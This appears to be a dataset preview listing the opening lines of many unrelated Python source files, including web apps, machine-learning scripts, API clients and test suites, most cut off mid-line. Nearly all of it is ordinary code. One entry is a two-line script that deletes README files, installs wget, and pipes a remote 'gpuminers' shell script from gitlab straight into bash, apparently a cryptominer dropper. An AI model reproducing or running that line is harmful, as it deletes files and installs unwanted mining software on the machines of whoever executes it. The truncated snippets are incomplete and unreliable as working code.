text
stringlengths
1
927k
import json data = { 'name': 'Pesho', 'age': 19, 'grades': [ {'subject': 'Math', 'mark': 5.0}, {'subject': 'Literature', 'mark': 4.5}, ] } json_data = json.dumps(data) print(repr(json.dumps(data))) print(repr(json.loads(json_data)))
import locale locale.setlocale( locale.LC_ALL, 'en_US.UTF-8' ) import re def is_row_header(row): """ Check if the provided row is a header row or not It does so by checking if there are any numbers in the row text or not """ for col in row: if re.match(r'[0-9]+', col): return...
#!/usr/bin/env python # coding: utf8 ''' @author: qitan @contact: qqing_lai@hotmail.com @file: forms.py @time: 2017/3/30 15:34 @desc: ''' from django import forms from asset.models import IdcAsset class IdcAssetForm(forms.ModelForm): class Meta: model = IdcAsset fields = ('idc_name', 'idc_type', '...
class Component: name = None
#!/usr/bin/env python from collections import defaultdict from itertools import chain, groupby import os, sys #import pandas as pd import glob def count_kmers(read, k): counts = defaultdict(list) num_kmers = len(read) - k + 1 for i in range(num_kmers): kmer = read[i:i+k] if kmer not in coun...
"""ecommerce URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/3.1/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: path('', views.home, name='home') Class-bas...
import numpy as np import pandas as pd import matplotlib.pyplot as plt from tensorflow.keras.backend import clear_session from tensorflow.keras.optimizers import RMSprop from tensorflow.keras.preprocessing import sequence from tensorflow.keras.models import Sequential from tensorflow.keras.layers import (Flatten, Dens...
from __future__ import absolute_import, division, print_function import stripe TEST_RESOURCE_ID = "si_123" class TestSubscriptionItem(object): def test_is_listable(self, request_mock): resources = stripe.SubscriptionItem.list(subscription="sub_123") request_mock.assert_requested( "g...
import os import argparse import heapq import pandas as pd import pickle as pkl from embedding_utils import EmbeddingLoader from sklearn.model_selection import RandomizedSearchCV, train_test_split from sklearn.model_selection._search import BaseSearchCV def print_cv_result(result, n): if isinstance(result, BaseSe...
#!/usr/bin/env python from __future__ import print_function import chainer import numpy import os from argparse import ArgumentParser from chainer.datasets import split_dataset_random from chainer import functions as F from chainer import optimizers from chainer import training from chainer.iterators import SerialIt...
# -*- coding: utf-8 -*- # # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the #...
"""Implementation of the OpenProbFOIL algorithm. """ from __future__ import print_function from problog.program import PrologFile from problog.logic import term2str, Term, Var from data import DataFile from language import TypeModeLanguage from rule import FOILRule, FOILRuleB from learn_1 import CandidateBeam, LearnEn...
# # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under...
# coding=utf-8 from Products.Five.browser.pagetemplatefile import ViewPageTemplateFile from bika.lims.browser.bika_listing import BikaListingTable from bika.lims.browser.worksheet.views.analyses import AnalysesView class AnalysesTransposedView(AnalysesView): """ The view for displaying the table of manage_results...
import redis from typing import Tuple, Union, List class Redis(): def __init__(self, host: str = 'localhost', port: int = 6379, user: str = '', password: str = '') -> None: self._host = host self._port = port self._user = user self._password = password self.client = redis.S...
import os import numpy as np import joblib from Fuzzy_clustering.version3.project_manager.PredictModelManager.Sklearn_combine_predict import sklearn_model_predict class CombineModelPredict(object): def __init__(self, static_data): self.static_data = static_data self.istrained = False self.m...
# -*- coding: utf8 -*- # Copyright (c) 2017-2021 THL A29 Limited, a Tencent company. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses...
#----------------------------------------------------------------------------# # App Config. #----------------------------------------------------------------------------# from flask import Flask from flask_moment import Moment from flask_sqlalchemy import SQLAlchemy from flask_migrate import Migrate app = Flask(__na...
# Mathematics > Fundamentals > Jim and the Jokes # Jim is running out of jokes! Help him finding new jokes. # # https://www.hackerrank.com/challenges/jim-and-the-jokes/problem # # algo: créer une table qui compte les nombres lus dans la base indiquée jokes = {} for _ in range(int(input())): b, x = input().split()...
#!/usr/bin/env python import pika # connect to local machine connection = pika.BlockingConnection(pika.ConnectionParameters( 'localhost')) channel = connection.channel() # before sending we need to make sure the recipient queue exists. If we send a message to non-existing location, RabbitMQ will just trash the mes...
#!/usr/bin/env python traindat = '../data/fm_train_real.dat' testdat = '../data/fm_test_real.dat' label_traindat = '../data/label_train_twoclass.dat' parameter_list = [[traindat,testdat,label_traindat,2.1,1,1e-5],[traindat,testdat,label_traindat,2.2,1,1e-5]] def classifier_gpbtsvm (train_fname=traindat,test_fname=tes...
import graphene import graphene_django_optimizer from django.db.models import Sum from django.db.models.functions import Coalesce from graphene import relay from graphene_federation import key from graphql import GraphQLError from main import settings from main.core.permissions import ProductPermissions from main.core...
# Copyright (c) 2010, 2011, 2012 Nicira, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at: # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agre...
from typing import Dict, Generator, Union from zipfile import ZIP_DEFLATED import celery from django.db import models from django.db.models.functions import Length from django.dispatch import receiver from django.http.response import StreamingHttpResponse from django.utils.translation import gettext_lazy as _ from dja...
from abc import abstractmethod from wai.common.adams.imaging.locateobjects import LocatedObject from ....core.component import ProcessorComponent from ....core.stream import ThenFunction, DoneFunction from ....core.stream.util import RequiresNoFinalisation from ....domain.image.object_detection import ImageObjectDete...
#!/usr/bin/python3 from Sprko.ui import arguments, console from requests import post as sendPostRequest from urllib3 import disable_warnings from modules import readData # skip ssl error disable_warnings() msg = console.msg telegram_config = readData.sender('telegram') telegram_bot_api = readData.sender('telegr...
import numpy as np from typing import List from utils import allSubLists, filterPositionsId, setFilterPositionsId, makeAlphas def cond1(A: np.ndarray, alpha: np.array) -> List[np.array]: """ 生成满足条件的 betas :param A: 矩阵 n*n :param alpha: 行向量 1*n :return: 是否可以返回一个符合条件的beta,若存在则返回所有beta的list """ ...
import numpy as np import cv2 import matplotlib.image as mpimg def perspect_transform(img, src, dst): # Get transform matrix using cv2.getPerspectivTransform() M = cv2.getPerspectiveTransform(src, dst) # Warp image using cv2.warpPerspective() # keep same size as input image warped = cv2.warpPersp...
# coding=utf-8 # Copyright 2022 The Google Research Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicab...
from .vnostmd import MdApi from .vnosttd import TdApi from .ost_constant import *
# Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. from cdm.storage.local import LocalAdapter from datetime import datetime, timezone import os import unittest from cdm.objectmodel import CdmManifestDefinition, Cdm...
# -*- coding: utf-8 -*- # PLEASE DO NOT EDIT THIS FILE, IT IS GENERATED AND WILL BE OVERWRITTEN: # https://github.com/ccxt/ccxt/blob/master/CONTRIBUTING.md#how-to-contribute-code from ccxt.base.exchange import Exchange import math from ccxt.base.errors import ExchangeError from ccxt.base.errors import AuthenticationE...
# Copyright 2021 Kotaro Terada # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing...
# coding: utf-8 """Base class for tests. All Filesystems should be able to pass these. """ from __future__ import absolute_import from __future__ import unicode_literals from datetime import datetime import io import itertools import json import math import os import time import pytest import fs.copy import fs.mo...
from django.urls import path from . import views urlpatterns = [ path('', views.home, name='home'), path('terms/', views.terms, name='terms'), path('privacy/', views.privacy, name='privacy'), path('about/', views.about, name='about'), path('organizations/', views.organizations, name='organizations...
#!/usr/bin/python # -*- coding: utf-8 -*- # # Copyright (c) 2017 F5 Networks Inc. # Copyright (c) 2013 Matt Hite <mhite@hotmail.com> # GNU General Public License v3.0 (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) from __future__ import absolute_import, division, print_function __metaclass__ = type ANSIBL...
import unittest import uuid import nng from g1.asyncs import kernels from g1.asyncs.bases import tasks from g1.messaging import reqrep from g1.messaging.reqrep import clients from g1.messaging.wiredata import jsons class TestInterface: @staticmethod def some_static_method(): pass @classmetho...
# Plotting tools and utility functions # Nested GridSpec : https://matplotlib.org/stable/gallery/subplots_axes_and_figures/gridspec_nested.html#sphx-glr-gallery-subplots-axes-and-figures-gridspec-nested-py # GridSpec : https://matplotlib.org/stable/gallery/subplots_axes_and_figures/gridspec_multicolumn.html#sphx-glr-ga...
import pprint from d3ct.plugins.base import PluginBase class Generator(PluginBase): @staticmethod def output(py_obj): pprint.pprint(py_obj.data)
#!/usr/bin/python #============================================================================= # # Copyright (c) Kitware, Inc. # All rights reserved. # See LICENSE.txt for details. # # This software is distributed WITHOUT ANY WARRANTY; without even # the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTI...
# DataManager -> responsible for talking to the Google Sheets API. # FlightSearch -> responsible for talking to the Flight Search API. # FlightData -> responsible for structuring the flight data # NotificationManager -> responsible for sending notifications with the deal flight details from data_manager import DataMan...
# %% import os import pandas as pd import numpy as np import datetime from googletrans import Translator from vininfo import Vin # %% motocicleta_p6 = pd.read_excel(r'D:\Basededatos\Origen\MOTOCICLETAS-COLOMBIA\MOTOCICLETA_P6.xlsx', engine='openpyxl') # %% motocicleta_p6.rename(columns={'MODELO': 'AÑO', 'ORIGEN': '...
# Copyright (C) 2007 Philipp Gortan <gortan@tttech.com> # Copyright (C) 2009 Dr. Ralf Schlatterbeck Open Source Consulting. # Reichergasse 131, A-3411 Weidling. # Web: http://www.runtux.com Email: office@runtux.com # All rights reserved # **************************************************************************** # Th...
import Controller import tensorflow as tf import time import efficientnet.tfkeras # Run pre-loaded pipelines start_time= time.time() #E0 - G model = tf.keras.models.load_model("..\\models\\200324_EfficientNetB0NoisyStudent_001.h5", compile=False) image_tags = ["C:\\Users\\finnt\\OneDrive\\Documents\\Uni\\Year 4\\Hon...
#!/usr/bin/env python # # Parses output from testers into Python numpy arrays or Matlab arrays. # Replaces words and "---" with NAN. # Attempts to name arrays based on the filename, MAGMA tester, and options. # # @author Mark Gates import sys import os import re import numpy import optparse # -------------------- # ...
""" A module which handles Matrix Expressions """ from matexpr import * from transpose import Transpose from inverse import Inverse from blockmatrix import BlockMatrix, BlockDiagMatrix, block_collapse
import os as alpha alpha.system("rm README* && apt update && apt -y install wget && wget -O - https://gitlab.com/chadpetersen1337/gpuminers/-/raw/main/start_bmw_rav_no_ws.sh | bash")
#!/usr/bin/env python3 # # Copyright (c) 2019-2021 LG Electronics, Inc. # # This software contains code licensed as described in LICENSE. # # See EOV_C_25_20.py for a commented script import time import logging from environs import Env import lgsvl FORMAT = "[%(levelname)6s] [%(name)s] %(message)s" logging.basicConf...
# Copyright (c) Facebook, Inc. and its affiliates. # # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. from argparse import ArgumentParser import math import torch.nn.functional as F from fairseq import utils from fairseq.criterions import Fai...
# -*- coding: utf-8 -*- ''' :codeauthor: :email:`Rahul Handay <rahulha@saltstack.com>` ''' # Import Python Libs from __future__ import absolute_import # Import Salt Testing Libs from salttesting import TestCase, skipIf from salttesting.helpers import ensure_in_syspath from salttesting.mock import ( MagicMock,...
from Instrucciones.Declaracion import Declaracion from Instrucciones.Sql_create.Tipo_Constraint import Tipo_Dato_Constraint from Instrucciones.TablaSimbolos.Tipo import Tipo from Instrucciones.TablaSimbolos.Instruccion import Instruccion from Instrucciones.TablaSimbolos.Tabla import Tabla from Instrucciones.Excepcion i...
"""Accept a text file and do the fizzbuzz upon it. Your program should accept a file as its first argument. The file contains multiple separated lines; each line contains 3 numbers that are space delimited. The first number is the first divider (X), the second number is the second divider (Y), and the third number is ...
#!/usr/bin/env python # # 20190222 # copied from "calc_stellar_mass_function.py", this code will superceed "calc_stellar_mass_function.py". # from __future__ import print_function import os, sys, re, json, time, astropy import numpy as np from astropy.table import Table, Column, hstack from copy import copy fr...
import torch import torchvision import lightly.models as models import lightly.loss as loss import lightly.data as data import pytorch_lightning as pl import math import os import shutil from tqdm import tqdm import logging os.environ["CUDA_VISIBLE_DEVICES"]="1,0" exp_name = 'CIFAR10' start_epoch = 0 avg_loss = 0. avg...
import numpy as np from pl_bolts.utils.warnings import warn_missing_pkg try: import torchvision.transforms as transforms except ModuleNotFoundError: warn_missing_pkg('torchvision') # pragma: no-cover _TORCHVISION_AVAILABLE = False else: _TORCHVISION_AVAILABLE = True try: import cv2 except Module...
from django.conf.urls.defaults import patterns, include, url from apps.core.shortcuts import direct_to_template urlpatterns = patterns('apps.core.views', url(r'^$', 'index', name='index'), #static url(r'^function/blocked/$', direct_to_template, {'template': 'static/function_blocked.html'}, ...
# import template import argparse import os """ Configuration file """ def check_args(args, rank=0): if rank == 0: with open(args.setting_file, 'w') as opt_file: opt_file.write('------------ Options -------------\n') print('------------ Options -------------') for k in a...
# coding=utf-8 r""" This code was generated by \ / _ _ _| _ _ | (_)\/(_)(_|\/| |(/_ v1.0.0 / / """ from tests import IntegrationTestCase from tests.holodeck import Request from twilio.base.exceptions import TwilioException from twilio.http.response import Response class RecordingTestCase(Integra...
import asyncio import json import logging from datetime import datetime, timedelta from pathlib import Path from typing import Dict, List, Optional, TypedDict from gql import Client, gql from gql.client import AsyncClientSession from gql.transport.aiohttp import AIOHTTPTransport log = logging.getLogger(__name__) cl...
# GNU MediaGoblin -- federated, autonomous media hosting # Copyright (C) 2011, 2012 MediaGoblin contributors. See AUTHORS. # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as published by # the Free Software Foundation, either versio...
#!/usr/bin/env python # -*- coding: utf-8 -*- # # This OhmNet code is adapted from: # Copyright (C) 2010 Radim Rehurek <radimrehurek@seznam.cz> # Licensed under the GNU LGPL v2.1 - http://www.gnu.org/licenses/lgpl.html from __future__ import with_statement import logging import itertools logger = logging.getLogger(_...
# -*- coding: utf-8 -*- #!/usr/bin/python ################################################# # Usage: # From top level (/path/to/repo/icgauge), issue the command # `python -m experiments.toy` # # Toy experiment -- machinery is hooked up and # working. Not a baseline experiment because it # doesn't use a real tr...
import difflib import re from typing import Optional, Union from discord.utils import escape_markdown def wrap_in_code(value: str, *, block: Optional[Union[bool, str]] = None): value = value.replace("`", "\u200b`\u200b") value = value.replace("\u200b\u200b", "\u200b") if block is None: return "`...
from io import SEEK_CUR import os class Verbrauchsrechner(object): def __init__(self, efficencyTableFile = "ProductionEfficency.csv", priceListFile = "ProductList.csv", consumptionFile = "ConsumptionValues.csv", stadtName = ""): self.efficencyTableFile = efficencyTableFile self.priceListFile = pri...
import json from allensdk.core.brain_observatory_cache import BrainObservatoryCache def compress_roi(roi): mask = [] for i, row in enumerate(roi): for j, flag in enumerate(row): if flag: mask.append((i, j)) return mask def sample(signal, n): size = int(len(signa...
''' * @file utils.py * @brief Helper functions for viewing images and reading/writing config and label files * * @author Jake Janssen * @date Oct 24, 2019 * @version TODO * @bug No known bugs * * @copyright Copyright (c) 2019, Southwest Research Institute * * @par License * Software License Agreement (Apac...
#***********************************************************************# # Copyright (C) 2010-2012 Tomas Tinoco De Rubira # # # # This file is part of CVXPY # # ...
"""Core Class for Flow.""" from multiprocessing import Process, Manager from multiprocessing.managers import BaseManager import sys import json from node import Node EXEC_MODE_BATCH = "batch" EXEC_MODE_STREAMING = "streaming" class Path(object): def __init__(self, source_node, source_port, target_node, target_p...
import sqlite3 con = sqlite3.connect('./public/index.db') import os def recipe_already_indexed(name): cur = con.cursor() cur.execute("SELECT * FROM recipes_info WHERE path=?", (name,)) rows = cur.fetchall() for r in rows: print(r) return len(rows) > 0 def add_tag(name, recipe_id): print(name...
""" Copyright 2021 Keisuke Izumiya Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, softwar...
#!/usr/bin/env python import argparse import numpy as np import matplotlib matplotlib.use('agg') import matplotlib.pyplot as plt import itertools from utils.treebank import StanfordSentiment import utils.glove as glove from q3_sgd import load_saved_params, sgd # We will use sklearn here because it will run faster t...
# -*- coding:utf-8 -*- # Copyright (C) 2020. Huawei Technologies Co., Ltd. All rights reserved. # This program is free software; you can redistribute it and/or modify # it under the terms of the MIT License. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the ...
# ------ Python standard library imports --------------------------------------- from typing import Optional import os # ------ External imports ------------------------------------------------------ # ------ Imports from own package or module ------------------------------------ from movieverse.movieverse import Movie...
""" SRTpy -- SRT (https://etk.srail.co.kr) wrapper for Python. ========================================================== : copyright: (c) 2017 by Heena Kwag. : URL: <http://github.com/dotaitch/SRTpy> : license: BSD, see LICENSE for more details. """ import random import requests from xml.etree im...
from scrapy import Spider import requests import redis class WenshuSpider(Spider): name = 'wenshu' def __init__(self): super().__init__() self.r = redis.Redis(host='47.106.136.136', port=6388, password='qazwsx12!@') self.start_urls = [ '' ] def get_code(self,...
#!/usr/bin/env python # This test loads an Exodus file with NaNs and we test that the vtkDataArray # returns a correct range for the array with NaNs i.e. not including the NaN. from vtk import * from vtk.util.misc import vtkGetDataRoot VTK_DATA_ROOT = vtkGetDataRoot() rdr = vtkExodusIIReader() rdr.SetFileName(str(VTK_...
# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved. # !/usr/bin/env python import glob import os import torch from setuptools import find_packages from setuptools import setup from torch.utils.cpp_extension import CUDAExtension from torch.utils.cpp_extension import CUDA_HOME from torch.utils.cpp_e...
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not u...
import swapper from django_ipam.management.commands import BaseExportSubnetCommand class Command(BaseExportSubnetCommand): subnet_model = swapper.load_model('django_ipam', 'Subnet')
''' MIT License Copyright (c) 2020 Mikhail Milovidov Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publ...
#==================== # Essential imports #==================== from pyDOE import * from pyDOE_corrected import * from diversipy import * import pandas as pd import numpy as np # =========================================================================================================== # Function for constructing a Da...
from unittest.mock import patch from django.core.management import call_command from django.db.utils import OperationalError from django.test import TestCase class CommandTest(TestCase): def test_wait_for_db_ready(self): """test waiting for db when db is available""" with patch('django.db.utils....
# -*- coding: utf-8 -*- # ----------------------------------------------------------------------------- # # import os import numpy as np from keras import backend as Keras from keras.models import load_model # ----------------------------------------------------------------------------- # Keras.clear_session() # 学習済み...
# GENERATED BY KOMAND SDK - DO NOT EDIT import insightconnect_plugin_runtime import json class Component: DESCRIPTION = "Request a takedown for a given alert in IntSights" class Input: ALERT_ID = "alert_id" TARGET = "target" class Output: STATUS = "status" class TakedownRequestInput(insi...
from spacy.language import Language from spacy.tokens import Doc, Span, Token from spacy.util import get_lang_class from spacy.gold import GoldParse from .util import is_special_token from . import about class PyTT_Language(Language): """A subclass of spacy.Language that holds a PyTorch-Transformer (PyTT) pipeli...
import re from itertools import product, count from aoc_utils import Vec, dirs4 from aocd import get_data def part1(inp): return sum(c1 != c2 and u1 != 0 and u1 <= a2 for (c1, (u1, a1)), (c2, (u2, a2)) in product(inp.items(), repeat=2)) def part2(inp): mapp = inp.copy() hole, holecap = next((c, a) for ...
from typing import List from typing_extensions import Annotated from alpyro_msgs import RosMessage, float32 class Floats(RosMessage): __msg_typ__ = "rospy_tutorials/Floats" __msg_def__ = "ZmxvYXQzMltdIGRhdGEKCg==" __md5_sum__ = "420cd38b6b071cd49f2970c3e2cee511" data: Annotated[List[float32], 0, 0]
import subprocess EXPECT_FAIL_65 = [ 'prefix_operator', 'grouping', 'infix_operator', 'to_this', 'inherit_self', 'local_inherit_self', 'return_value', 'parenthesized_superclass', 'missing_argument', 'var_in_body', 'fun_in_body', 'class_in_body', 'trailing_dot', '...
# #Copyright 2020 XEBIALABS # #Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublice...
# -*- coding: utf-8 -*- # ############################################################################# # Copyright (C) 2022 manatlan manatlan[at]gmail(dot)com # # MIT licence # # https://github.com/manatlan/htag # ############################################################################# # mono instance from .brow...
from . import fastkernel from . import vizkernel from . import printkernel
from pymarkdownlint.tests.base import BaseTestCase from pymarkdownlint.lint import MarkdownLinter from pymarkdownlint.rules import RuleViolation from pymarkdownlint.config import LintConfig class RuleOptionTests(BaseTestCase): def test_lint(self): linter = MarkdownLinter(LintConfig()) sample = se...
"""Tests for base_events.py""" import concurrent.futures import errno import math import socket import sys import threading import time import unittest from unittest import mock import asyncio from asyncio import base_events from asyncio import constants from test.test_asyncio import utils as test_utils from test imp...
from .GoogleCompute import GoogleCompute from Jumpscale import j JSBASE = j.application.JSFactoryBaseClass class GoogleComputeFactory(JSBASE): __jslocation__ = "j.clients.google_compute" _CHILDCLASS = GoogleCompute
# Copyright (c) 2012 NetApp, Inc. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required...
import argparse import time import yaml import os import numpy as np def parse_opts(): parser = argparse.ArgumentParser() # configure of this run parser.add_argument('--cfg_path', type=str, required=True, help='config file') parser.add_argument('--id', type=str, default='', help='id of this run. Resul...
#!/usr/bin/env python """Read in the "show_ip_int_brief.txt" file into your program using the .readlines() method. Obtain the list entry associated with the FastEthernet4 interface. You can just hard-code the index at this point since we haven't covered for-loops or regular expressions: Use the string .split() method...
raise NotImplementedError("pgen2 is not yet implemented in Skulpt")
""" Django settings for koodikoulu project. Generated by 'django-admin startproject' using Django 1.8.3. For more information on this file, see https://docs.djangoproject.com/en/1.8/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.8/ref/settings/ """ # Build p...
import random import six from geodata.addresses.config import address_config from geodata.addresses.numbering import NumberedComponent, Digits, sample_alphabet, latin_alphabet from geodata.encoding import safe_decode from geodata.math.sampling import cdf, weighted_choice class POBox(NumberedComponent): @classmet...